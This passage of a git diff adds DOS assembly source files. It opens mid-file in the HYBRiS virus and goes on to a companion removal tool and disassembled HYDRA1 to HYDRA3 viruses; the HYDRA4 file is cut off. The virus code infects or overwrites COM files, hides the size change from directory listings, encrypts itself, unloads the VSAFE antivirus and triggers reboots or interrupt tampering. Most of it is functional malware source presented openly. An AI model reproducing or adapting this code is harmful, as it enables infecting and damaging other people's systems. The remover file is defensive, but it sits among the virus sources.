dx,0A14h ;10,20d (middle) + int 10h + + mov ah,1 ;set cursor + mov cx,2020h ;>nul + int 10h + + mov si,offset dps ;point to v_name, of sorts. + +all_chars: + loop all_chars + lodsb ;load string by byte from dps + or al,al ;end of string? (al=0) + je cold_boot ;yes, make a cold boot + + mov ah,0Eh ;display character from string + int 10h + + jmp short all_chars ;put next char to string + +cold_boot: + db 0eah ;jmp far ptr + db 00h, 00h, 0ffh,0ffh + +no_ctrl_alt_del: + pop ds ;restore registers + pop ax + +do_oldint09h: + db 0eah ;and jump to saved vector for int09h + org09ofs dw ? + org09seg dw ? + + +new_16h: + cmp ax,0fa01h ;check ax for 'vsafe-unload-value' + jne do_oldint16h ;no match in ax. + cmp dx,5945h ;check ds for 'vsafe-unload-value' + jne do_oldint16h ;no match in dx. + jmp unload_vsafe ;program is probably virus-infected. + +do_oldint16h: + db 0eah ;program is not trying to unload + org16ofs dw ? ;vsafe.. + org16seg dw ? + +hide_dir: ;FCB stealth routine + pushf ;simulate a int call with pushf + push cs ;and cs, ip on the stack + call do_oldint21h + or al,al ;was the dir call successfull?? + jnz skip_dir ;(i.e. did we find files?) + + push ax ;we did find files, save ax/bx/es + push bx ;since we use them in this routine + push es + + mov ah,62h ;get active PSP to es:bx + int 21h + mov es,bx + cmp bx,es:[16h] ;PSP belongs to dos? + jnz bad_psp ;no, just stealth on DIR (ie. command.com + ;is the owner of the psp) + + mov bx,dx ;offset to unopened FCB in BX + mov al,[bx] ;FCB-type in AL.. + push ax ;Save it + mov ah,2fh ;Get DTA-area + int 21h + pop ax ;Restore AX + inc al ;check if al=0 or al=ff + jnz no_ext ;If it's not 0, then, it's not extended + add bx,7 ;if it's extended add 7 to skip garbage +no_ext: + mov al,byte ptr es:[bx+17h] ;get seconds field + and al,1fh + xor al,1dh ;is the file infected?? + jnz no_stealth ;if not - don't hide size + + cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds + jbe no_stealth ;as an infected is smaller - + sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size +no_stealth: +bad_psp: + pop es ;restore segments/registers + pop bx ;used and return to caller + pop ax +skip_dir: + iret + +hide_dir2: ;4e/4fh stealth + + pushf + push cs + call do_oldint21h + + jc no_files + + pushf + push ax + push di + push es + push bx + + mov ah,2fh + int 21h + + mov di,bx + add di,1eh + cld + mov cx,9 ;scan for the '.' which seperates + mov al,'.' ;the filename from the extension + repne scasb + jne not_inf ;<- Filename without any extension! + + cmp word ptr es:[di],'OC' + jne not_inf ;most likely a com + + cmp byte ptr es:[di+2],'M' + jne not_inf ;Definitly com + + mov ax,es:[bx+16h] ;ask file time + and al,1fh + xor al,1dh ;can the file be infected? + jnz not_inf + + cmp word ptr es:[bx+1ah],vir_size ;dont stealth too small + ja hide ;files + + cmp word ptr es:[bx+1ch],0 ;>64k? (no-com) + je not_inf ;don't stealth too large files.. + +hide: + sub es:[bx+1ah],vir_size-3 ;stealth + +not_inf: + pop bx + pop es + pop di + pop ax + popf + +no_files: + retf 2 + +infect_close: ;3eh calls arrives at this entry + push es + push bp + push ax + push bx + push cx + push si + push di + push ds + push dx + cmp bx,4 ;don't close null, aux and so + jbe no_close + + call check_name ;es:di points to file name + add di,8 ;es:di points to extension + cmp word ptr es:[di],'OC' + jne no_close + cmp byte ptr es:[di+2],'M' ;es:di+2 points to 3rd char in extension + je close_infection + +no_close: + pop dx ;no com-file being opened + pop ds + pop di + pop si + pop cx + pop bx + pop ax + pop bp + pop es + + jmp do_oldint21h + + +close_infection: + or byte ptr es:[di-26h],2 + mov cs:Closeflag,1 ;mark that 3e-infection = on + + mov ax,4200h ;seek tof. + xor cx,cx + cwd + int 21h + + jmp short infect_on_close ;infect it + +check_name: + push bx + mov ax,1220h ;get job file table for handle at es:di + int 2fh + + mov ax,1216h ;get system file table + mov bl,byte ptr es:[di] ;for handle index in bx + int 2fh + pop bx + add di,20h ;es:di+20h points to file name + ret ;return + +infect: + push es + push bp + push ax + push bx + push cx + push si + push di + push ds + push dx + + call setcritical ;install a critical error handler + + mov cs:Closeflag,0 ;make sure closeflag is off + mov ax,4300h ;get attrib + int 21h + push cx ;save attrib onto the stack + mov ax,4301h ;clear attrib + xor cx,cx + int 21h + + mov ax,3d00h ;open file in read mode only + int 21h + xchg ax,bx + mov ax,1220h + int 2fh + push bx + mov ax,1216h ;modify + mov bl,byte ptr es:[di] + int 2fh + pop bx + or byte ptr es:[di+2],2 ;to read & write mode in the SFT-entry + +infect_on_close: ;entry for infection on 3eh + + + push cs ;cs=ds + pop ds + + mov ax,5700h ;get time/date + int 21h + push cx ;save time/date onto the stack + push dx + + mov ah,3fh ;read first four bytes to orgjmp + mov cx,4 + mov dx,offset ds:orgjmp + int 21h + + cmp word ptr ds:orgjmp,'ZM' ;check if .EXE file + je exe_file + cmp word ptr ds:orgjmp,'MZ' + je exe_file ;if so - don't infect + + cmp byte ptr ds:orgjmp+3,'@' ;dont reinfect! + jne lseek_eof + jmp skip_infect + +exe_file: + mov cs:exeflag,1 ;mark file as EXE-file, and + jmp short skip_infect ;don't set second value for it! + +lseek_eof: + mov ax,4202h ;go end of file, offset in dx:cx + xor cx,cx ;and return file size in dx:ax. + xor dx,dx + int 21h + + cmp ax,(0FFFFH-Vir_size) ;dont infect to big or + jae skip_infect ;to small files + cmp ax,(vir_size-100h) + jb skip_infect + + add ax,offset entry_point-106h ;calculate entry offset to jmp + mov word ptr ds:newjmp[1],ax ;move it [ax] to newjmp + +get_rnd: + mov ah,2ch ;get random number and put enc_val + int 21h + or dl,dl ;dl=0 - get another value! + je get_rnd + mov word ptr ds:enc_val,dx + mov ax,08d00h ;copy entire virus to 8d00h:100h + mov es,ax + mov di,100h + mov si,di + mov cx,(vir_size+1)/2 + rep movsw + push es + pop ds + xor bp,bp ;and encrypt it there + call encrypt + + mov ah,40h ;write virus to file from position + mov cx,virus_end-install ;08d00h:100h + mov dx,offset install + int 21h + + push cs ;cs=ds + pop ds + + mov ax,4200h ;go to beginning of file + xor cx,cx + cwd + int 21h + + mov ah,40h ;and write a new-jmp-construct + mov cx,4 ;of 4 bytes (4byte=infection marker) + mov dx,offset newjmp + int 21h + +skip_infect: + mov ax,5701h ;restore + pop dx ;date + pop cx ;time + cmp byte ptr cs:[exeflag],1 ;exe file? + je skip_sec ;if so - keep the sec_value intact + or cl,00011101b ;and give com-files second value + and cl,11111101b ;29 + +skip_sec: + int 21h + cmp byte ptr cs:[Closeflag],1 ;check if execute or close infeection, + je dont_close ;if infect on close, dont close file + +close_file: + mov ah,3eh ;close the file which were executed + int 21h + pop cx ;get original file-attribs +dont_close: + pop dx ;ds:dx = filename + pop ds + cmp byte ptr cs:[Closeflag],1 + je exit_close + mov ax,4301h ;set back saved attribute + int 21h + +exit_close: + mov byte ptr cs:closeflag,0 + call resetcritical ;set back critical error handler int24h + pop di + pop si + pop cx + pop bx + pop ax + pop bp + pop es ;restore registers in use + +do_oldint21h: +O21h: + db 0eah ;jmp far ptr + org21ofs dw ? ;s:o to + org21seg dw ? ;int21h + + ret ;call to DOS. . . return! + +unload_vsafe: + mov ah,9 + mov dx, offset v_name + push ds + push cs + pop ds + int 21h + pop ds + mov ax,4c00h ;exit program infected with an other + int 21h ;virus. + +v_name db "[HYBRiS] (c) '95 =TU/IR=",'$' + +closeflag db 0 +exeflag db 0 +activate_flag db 0 + +disinfect_dsdx: + push ax + push bx + push cx + push dx + push di + push si + push ds + push es ;save all regs/segs... + + push ds + pop es ;ds=es + + mov cx,64 ;scan for the dot which + mov di,dx ;seperates filename from + mov al,'.' ;extension + cld ;clear direction + repne scasb ; + jne nocom ;<- was no '.' in filename + ;(aint likely a comfile) + + cmp word ptr ds:[di],'OC' + je smallc + cmp word ptr ds:[di],'oc' + jne nocom + +smallc: + cmp byte ptr ds:[di+2],'M' + je open_com + cmp byte ptr ds:[di+2],'m' + je open_com + +nocom: + jmp no_com_opened ;no com-file being opened! + +open_com: + + mov ax,3d02h ;Tbav utils might intercept this + pushf ;action. + push cs + call o21h + xchg ax,bx + + push cs ;cs=ds=es + pop ds + push cs + pop es + + mov ax,5700h ;get time + int 21h + push cx + push dx + + and cl,1fh ;see if seconds = 29 + xor cl,1dh + jne close_dis ;its not! (file = not infected) + + mov ah,3fh ;read first bytes of the infected + mov cx,4 ;program + mov dx,offset ds:orgjmp + int 21h + + cmp byte ptr ds:orgjmp,0e9h ;first byte = jmp? + jne close_dis + + cmp byte ptr ds:orgjmp+3,'@' ;fourth byte = '@'? + jne close_dis + + mov ax,4202h ;opened file is infected, + mov cx,-1 ;seek the location where we + mov dx,-(virus_end-orgjmp) ;stored the first bytes of the + int 21h ;original program + + mov ah,3fh ;read those bytes to orgjmp + mov cx,4 + mov dx,offset ds:orgjmp + int 21h + + mov ax,4200h ;seek the beginning of file + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;write the original bytes to + mov dx,offset orgjmp ;the top of file + mov cx,4 + int 21h + + mov ax,4202h ;seek (endoffile-virussize) + mov cx,-1 + mov dx,-(virus_end-install) + int 21h + + mov ah,40h ;truncate file + xor cx,cx + int 21h + +close_dis: + mov ax,5701h ;restore saved + pop dx ;date + pop cx ;and time + int 21h ; + + mov ah,3eh ;close the file + pushf + push cs + call o21h + +no_com_opened: + pop es + pop ds + pop si + pop di + pop dx + pop cx + pop bx + pop ax + +bail_out: + jmp o21h ;and bail out! + + +random: + push ds + push bx + push cx + push dx + push ax + + xor ax,ax + int 1ah + push cs + pop ds + in al,40h + xchg cx,ax + xchg dx,ax + mov bx,offset ran_num + xor ds:[bx],ax + rol word ptr ds:[bx],cl + xor cx,ds:[bx] + rol ax,cl + xor dx,ds:[bx] + ror dx,cl + xor ax,dx + imul dx + xor ax,dx + xor ds:[bx],ax + pop cx + xor dx,dx + inc cx + je random_ret + div cx + xchg ax,dx +random_ret: + pop dx + pop cx + pop bx + pop ds + or ax,ax + ret + + +SetCritical: + push ax ds + mov ax,9 + mov ds,ax + push word ptr ds:[0] + push word ptr ds:[2] + pop word ptr cs:[OldCritical+2] + pop word ptr cs:[OldCritical] + mov word ptr ds:[0],offset CriticalError + push cs + pop word ptr ds:[02] + pop ds + pop ax + ret + +ResetCritical: + push ax + push ds + push word ptr cs:[OldCritical] + mov ax,9 + push word ptr cs:[OldCritical+2] + mov ds,ax + pop word ptr ds:[2] + pop word ptr ds:[0] + pop ds + pop ax + ret + +CriticalError: ;new int24h handler + mov al,3 ;returns no error + iret + +OldCritical dd 0 ;dw 0,0 +ran_num dw ? + +decrypt: +encrypt: + mov ax,word ptr ds:[bp+enc_val] ;enc value in ax + lea di,[bp+install] ;pointer to encryption start + mov cx,(encrypt-install)/2 ;number of words to be encrypted +xor_loopy: + xor word ptr ds:[di],ax + inc di + inc di + loop xor_loopy + ret +enc_val dw 0 + +entry_point: + call get_bp ;to get the delta offset + ;classic old trick.. +get_bp: + pop bp + sub bp, offset get_bp + + call decrypt ;decrypt virus + jmp install ;jmp to install code + +newjmp db 0e9h,00h,00h,'@' ;buffer to calculate a new entry +orgjmp db 0cdh,20h,00,00 ;buffer to save the 4 first bytes + +virus_end: +end virus_start +================================================================================ diff --git a/h/HYBRISAV.ASM b/h/HYBRISAV.ASM new file mode 100755 index 0000000..d909510 --- /dev/null +++ b/h/HYBRISAV.ASM @@ -0,0 +1,341 @@ +.model tiny +.code +org 100h + +start: + +jmp short begin_code + +copyright db "HYBRiS.1435 Remover. (c) 1995 The Unforgiven/Immortal Riot",0 + +begin_code: +push dx ; Cool self-check.. +push ds +mov ah,9 +mov dx,offset intro_msg +int 21h +pop bx +pop dx +cmp bx,dx +jne wrong +mov ah,9 +mov dx,offset ok_msg +int 21h +jmp short start_msg1 + +wrong: +mov ah,9 +mov dx,offset wrong_msg +int 21h +int 20h + +intro_msg db 'Selfcheck $' +ok_msg db 'OK',13,10,'$' +wrong_msg db 'Failed',13,10,'$' + + +start_msg1: + +mov ah,9 ;print starting msg... +mov dx, offset begin +int 21h + +mov ah,0 ;did they agree on the rules? +int 16h + +cmp ah,15h ;y/Y +je ok_phile ;yes, they did + +mov ah,9 ;print blah.. +mov dx, offset not_yes +int 21h +int 20h +not_yes db "User Failure!",13,10,07,36 + + +ok_phile: +mov ah,4ah ;Do a virus installation check. . . +mov bx,0ffffh +mov cx,0d00dh +int 21h + +cmp ax,cx ;ax=cx=d00d= the virus is TSR. . . +jne not_res + +mov ah,9 +mov dx, offset resident +int 21h +int 20h + +not_res: +mov ah,2fh ;Get DTA-area to es:bx +int 21h + +mov ah,4eh ;find first file matching ds:dx (com) + ;with any attribute +next: +mov cx,7 +mov dx, offset f_com +int 21h + +jc no_com ;we have no more com-files + +call main ;got a com-file - search it + +mov ah,4fh ;get next com-file +jmp short next + +no_com: + + + +terminate: ;no more files! + +mov ah,9 +mov dx, offset stat1 +int 21h + +; This nice statistics is made by Blonde. Greetings to him. + +mov dx, word ptr [count] +call dec16out + +mov ah,9 +mov dx, offset stat2 +int 21h + +mov dx, word ptr [inf] +call dec16out + +mov ax,4cffh +int 21h + +main: +inc byte ptr [count] + +push ax +push bx +push cx +push dx +push di +push si + +push es +push es +pop ds +push cs +pop es + +mov si,bx +add si,1Eh ;bx = pointer to fname (1eh) +mov di,offset fname_buf +mov cx,0Fh ;cx=15 + +push cx ;save cx = 15 +push di ;save di (fname) +rep movsb ;rep until cx=0 +pop di ;restore di +pop cx ;and set cx=15 + +xor al,al ;zero out al +cld ;Clear direction +repne scasb ;Scan es:[di] for al +push di ;save di +mov al,20h ; +rep stosb ;Store al (fname) to es:[di] + +mov byte ptr es:[di],36 ;'$' + +pop di +pop es + +push cs +pop ds + +;mov ah,9 ;print fname +;mov dx,offset fname_buf +;int 21h + + +mov cx,15 ;with BIOS function due to this procedure +mov si, offset fname_buf ;can be used quite frequently. This is +lup: lodsb ;faster +int 29h ;mov ah,0ch, int 10h +loop lup + +mov ax,3d02h ;prepare open in read/write access +mov dx,bx ;bx into dx +add dx,1eh ;bx = pointer to fname +push es ;make es=ds +pop ds +int 21h ;do it! +jnc read_file + +mov ah,9 ;uerm? we couldnt open the file +mov dx, offset error_open ;fucking write-protected.. or lame coding +int 21h ;not zoinking f_attribs?? +jmp no_inf + +read_file: + +mov bx,ax ;place file handle in bx + +mov ah,3fh ;read first 4 bytes of the file +mov cx,4 ;to a buffer in memory +mov dx, offset read_buf +int 21h + +cmp byte ptr ds:[read_buf+3],'@' ;4th byte = @? +jne No_inf + +cmp byte ptr ds:[read_buf],0e9h ;1st byte = jmp? +jne no_inf + +inc byte ptr [inf] + +mov ah,9 ;say that the file is infected +mov dx, offset is_inf +int 21h + +mov ah,0 ;wait keypress +int 16h + +cmp ah,15h ;y/Y ? +je remove ; => they want to remove it.. +jmp no_inf + +remove: +mov ax,4202h +mov cx,-1 +mov dx,-4 +int 21h + +mov ah,3fh ;read those bytes to a buffer +mov cx,4 +mov dx,offset read_buf +int 21h + +mov ax,4200h ;seek the beginning of file +xor cx,cx +xor dx,dx +int 21h + +mov ah,40h ;write the original bytes to +mov dx,offset read_buf ;the top of file +mov cx,4 +int 21h + +mov ax,4202h ;seek (filesize-vir_size) +mov cx,-1 +mov dx,-1435 +int 21h + +mov ah,40h ;truncate vir_size.. +xor cx,cx +int 21h + + +mov ah,9 ;Report that the file is clean. . . +mov dx, offset _clean +int 21h +mov byte ptr [clean_f],1 + +no_inf: + +cmp byte ptr [clean_f],1 +je skip +mov ah,9 ;say that the file is infected +mov dx, offset is_cle +int 21h + +skip: +mov ah,9 ;print linefeed instead of +mov dx, offset linefeed ;mov byte ptr es:[di-1],13 +int 21h ;mov byte ptr es:[di],10 + ;mov byte ptr es:[di+1],36 (see above) + ;this is simpler for reporting. . . + +mov ah,3eh ;close file +int 21h + +pop si ;restore registers in use +pop si +pop dx +pop cx +pop bx +pop ax + +ret ;and return to caller + + +dec16out: +push ds ;This convertation is +push di ;Blonde(tm) +push dx +push cx +push ax +xor cx,cx ;initialize the counter +lea di, buf ;point to a buffer + +dec16out1: +push cx ;save the count +mov ax,dx ;AX is the numerator +xor dx,dx ;clear upper half +mov cx,10 ;divisor of 10 +div cx ;divide +xchg ax,dx ;get quotient + +add al,30h ;increase to ASCII +mov [di],al ;put in byte in ascii-format +inc di ;point to next byte + +pop cx ;restore count +inc cx ;count the digit +or dx,dx ;done? (dx=0?) +jnz dec16out1 ;if not zero, loop until dx = 0 + +dec16out2: +dec di ;decreasment of di +mov dl,[di] +mov ah,2 +int 21h ;write dl to screen output +loop dec16out2 + +pop ax ;restore registers +pop cx +pop dx +pop di +pop ds +ret ;and return + + +begin: + +db "Remover for the HYBRIS virus: This program is free of charge for all users.",13,10 +db 'DISCLAIMER: This software is provided "AS IS" without warranty of any kind,',13,10 +db "either expressed or implied, including but not limited to the fitness for",13,10 +db "any particular purpose. The entire risc as to its quality of performance",13,10 +db "is assumed by the user. Agree with those rules [Y/N]",13,10,36 + +f_com db "*.COM",0 ;COM-spec +buf dw ? +read_buf db ?,?,?,? ;4 buffers to read into +is_inf db "Is infected! Remove it? [Y/N]$ " +_clean db " File is now clean....$" +is_cle db "is clean...$" +error_open db " Error open file$ ";shouldnt happen. . . +resident db "Virus is already resident, aborting$" +fname_buf db 65 dup (?) ;fname = max 64, but ah well! +linefeed db 0ah,0dh,'$' ;linefeed+ end of print marker. +count dw 0 +inf dw 0 +clean_f db ? +host_clean db "Self-checking OK!",13,10,36 +host_infected db "Program is infected and will not run$",13,10 +stat1 db 13,10 + db "Number of files scanned: $" +stat2 db 13,10 + db "Number of files cleaned: $" + +end start +================================================================================ diff --git a/h/HYDRA1.ASM b/h/HYDRA1.ASM new file mode 100755 index 0000000..8ae77eb --- /dev/null +++ b/h/HYDRA1.ASM @@ -0,0 +1,196 @@ + +PAGE 59,132 + +; +; +; HYDRA1 +; +; Created: 27-Aug-91 +; Passes: 5 Analysis Options on: AW +; Copyright (c) +; +; + +psp_cmd_size equ 80h +data_12e equ 100h +data_13e equ 193h +data_14e equ 196h +data_15e equ 271h +data_16e equ 293h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +hydra1 proc far + +start: + jmp loc_1 + pop cx + inc sp + add [bx+si],al +data_3 db 'HyDra-1 Beta - Not For Release' + db '. *.CO?' + db 0 +data_6 dw 0, 8B39h +data_8 dw 0 +data_9 db 0 + db 29 dup (0) +data_10 db 0 + db 13 dup (0) +data_11 db 'HYDRA$' +copyright db 'Copyright (c)' + db ' 1991 by C.A.V.E. $' +loc_1: + push ax + mov ax,cs + add ax,1000h + xor di,di ; Zero register + mov cx,193h + mov si,100h + mov es,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_9 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ah,4Eh ; 'N' + mov dx,offset data_3+22h ; ('*') + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_2: + mov ah,3Dh ; '=' + mov al,2 + mov dx,offset data_10 + mov al,2 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + push es + pop ds + mov ax,3F00h + mov cx,0FFFFh + mov dx,data_13e + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,193h + mov cs:data_8,ax + cmp word ptr ds:data_14e,4459h + jne loc_3 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_6 ; Jump if carry Set + jmp short loc_2 +loc_3: + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_4 ; Jump if carry Set + mov ah,40h ; '@' + xor dx,dx ; Zero register + mov cx,cs:data_8 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_4: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_5: + mov ah,1Ah + mov dx,psp_cmd_size + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + jmp short loc_7 + nop +loc_6: + push dx + xor ax,ax ; Zero register + mov ax,0F00h + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov ah,0 + int 10h ; Video display ah=functn 00h + ; set display mode in al + mov ax,200h + mov dh,6 + mov dl,25h ; '%' + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + xor dx,dx ; Zero register + mov dx,offset data_11 ; ('HYDRA') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ax,200h + mov dh,17h + mov dl,0 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov dx,offset copyright ; ('Copyright (c)') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ax,200h + mov dh,18h + mov dl,0 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ax,3504h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ax,es + mov dx,bx + mov ds,ax + mov ax,2509h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,0 + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx +loc_7: + xor di,di ; Zero register + mov si,data_15e + mov cx,22h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop bx + mov cs:data_6,0 + mov word ptr cs:data_6+2,es + pop bx + jmp dword ptr cs:data_6 + push ds + pop es + mov cx,0FFFFh + mov si,data_16e + mov di,data_12e + sub cx,si + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[100h],100h + mov word ptr cs:[102h],ds + mov ax,bx + jmp dword ptr cs:[100h] + int 20h ; DOS program terminate + +hydra1 endp + +seg_a ends + + + + end start diff --git a/h/HYDRA2.ASM b/h/HYDRA2.ASM new file mode 100755 index 0000000..eb7f002 --- /dev/null +++ b/h/HYDRA2.ASM @@ -0,0 +1,164 @@ + +PAGE 59,132 + +; +; +; HYDRA2 +; +; Created: 27-Aug-91 +; Passes: 5 Analysis Options on: AW +; Copyright (c) +; +; + +data_1e equ 100h +data_2e equ 235h +data_3e equ 257h +data_4e equ 522h +psp_cmd_size equ 80h +data_15e equ 157h +data_16e equ 15Ah + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +hydra2 proc far + +start: + jmp loc_1 + pop cx + inc sp + add [bx+si],al +data_7 db 'HyDra-2 Beta - Not For Release' + db '. *.CO?' + db 0 +data_10 dw 0, 8B39h +data_12 dw 0 +data_13 db 0 + db 29 dup (0) +data_14 db 0 + db 13 dup (0) +copyright db 'Copyright (c)' + db ' 1991 by C.A.V.E. ' +loc_1: + push ax + mov ax,cs + add ax,1000h + xor di,di ; Zero register + mov cx,157h + mov si,100h + mov es,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_13 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ah,4Eh ; 'N' + mov dx,offset data_7+22h ; ('*') + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_2: + mov ah,3Dh ; '=' + mov al,2 + mov dx,offset data_14 + mov al,2 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + push es + pop ds + mov ax,3F00h + mov cx,0FFFFh + mov dx,data_15e + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,157h + mov cs:data_12,ax + cmp word ptr ds:data_16e,4459h + jne loc_3 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_6 ; Jump if carry Set + jmp short loc_2 +loc_3: + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_4 ; Jump if carry Set + mov ah,40h ; '@' + xor dx,dx ; Zero register + mov cx,cs:data_12 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_4: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_5: + mov ah,1Ah + mov dx,psp_cmd_size + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + jmp short loc_7 + nop +loc_6: + push dx + xor ax,ax ; Zero register + xor ax,ax ; Zero register + mov ds,ax + mov bx,data_4e + mov ah,0FFh + mov [bx],ah + xor ax,ax ; Zero register + int 13h ; Disk dl=drive 0 ah=func 00h + ; reset disk, al=return status + mov ax,0 + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx +loc_7: + xor di,di ; Zero register + mov si,data_2e + mov cx,22h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop bx + mov cs:data_10,0 + mov word ptr cs:data_10+2,es + pop bx + jmp dword ptr cs:data_10 + push ds + pop es + mov cx,0FFFFh + mov si,data_3e + mov di,data_1e + sub cx,si + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[100h],100h + mov word ptr cs:[102h],ds + mov ax,bx + jmp dword ptr cs:[100h] + int 20h ; DOS program terminate + +hydra2 endp + +seg_a ends + + + + end start diff --git a/h/HYDRA3.ASM b/h/HYDRA3.ASM new file mode 100755 index 0000000..c783c8f --- /dev/null +++ b/h/HYDRA3.ASM @@ -0,0 +1,163 @@ + +PAGE 59,132 + +; +; +; HYDRA3 +; +; Created: 27-Aug-91 +; Passes: 5 Analysis Options on: AW +; Copyright (c) +; +; + +psp_cmd_size equ 80h +data_11e equ 100h +data_12e equ 156h +data_13e equ 159h +data_14e equ 234h +data_15e equ 256h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +hydra3 proc far + +start: + jmp loc_1 + pop cx + inc sp + add [bx+si],al +data_3 db 'HyDra-3 Beta - Not For Release' + db '. *.CO?' + db 0 +data_6 dw 0, 8B39h +data_8 dw 0 +data_9 db 0 + db 29 dup (0) +data_10 db 0 + db 13 dup (0) +copyright db 'Copyright (c)' + db ' 1991 by C.A.V.E. ' +loc_1: + push ax + mov ax,cs + add ax,1000h + xor di,di ; Zero register + mov cx,156h + mov si,100h + mov es,ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_9 + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ah,4Eh ; 'N' + mov dx,offset data_3+22h ; ('*') + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_5 ; Jump if carry Set +loc_2: + mov ah,3Dh ; '=' + mov al,2 + mov dx,offset data_10 + mov al,2 + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + push es + pop ds + mov ax,3F00h + mov cx,0FFFFh + mov dx,data_12e + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,156h + mov cs:data_8,ax + cmp word ptr ds:data_13e,4459h + jne loc_3 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_6 ; Jump if carry Set + jmp short loc_2 +loc_3: + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_4 ; Jump if carry Set + mov ah,40h ; '@' + xor dx,dx ; Zero register + mov cx,cs:data_8 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_4: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_5: + mov ah,1Ah + mov dx,psp_cmd_size + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + jmp short loc_7 + nop +loc_6: + push dx + mov ax,3504h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ax,es + mov dx,bx + mov ds,ax + mov ax,2513h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,0 + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx +loc_7: + xor di,di ; Zero register + mov si,data_14e + mov cx,22h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop bx + mov cs:data_6,0 + mov word ptr cs:data_6+2,es + pop bx + jmp dword ptr cs:data_6 + push ds + pop es + mov cx,0FFFFh + mov si,data_15e + mov di,data_11e + sub cx,si + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[100h],100h + mov word ptr cs:[102h],ds + mov ax,bx + jmp dword ptr cs:[100h] + int 20h ; DOS program terminate + +hydra3 endp + +seg_a ends + + + + end start diff --git a/h/HYDRA4.ASM b/h/HYDRA4.ASM new file mode 100755 index 0000000..53f3eea --- /dev/null +++ b/h/HYDRA4.ASM @@ -0,0 +1,163 @@ + +PAGE 59,132 + +; +; +; HYDRA4 +; +; Created: 28-Aug-91 +; Passes: 5 Analysis Options on: 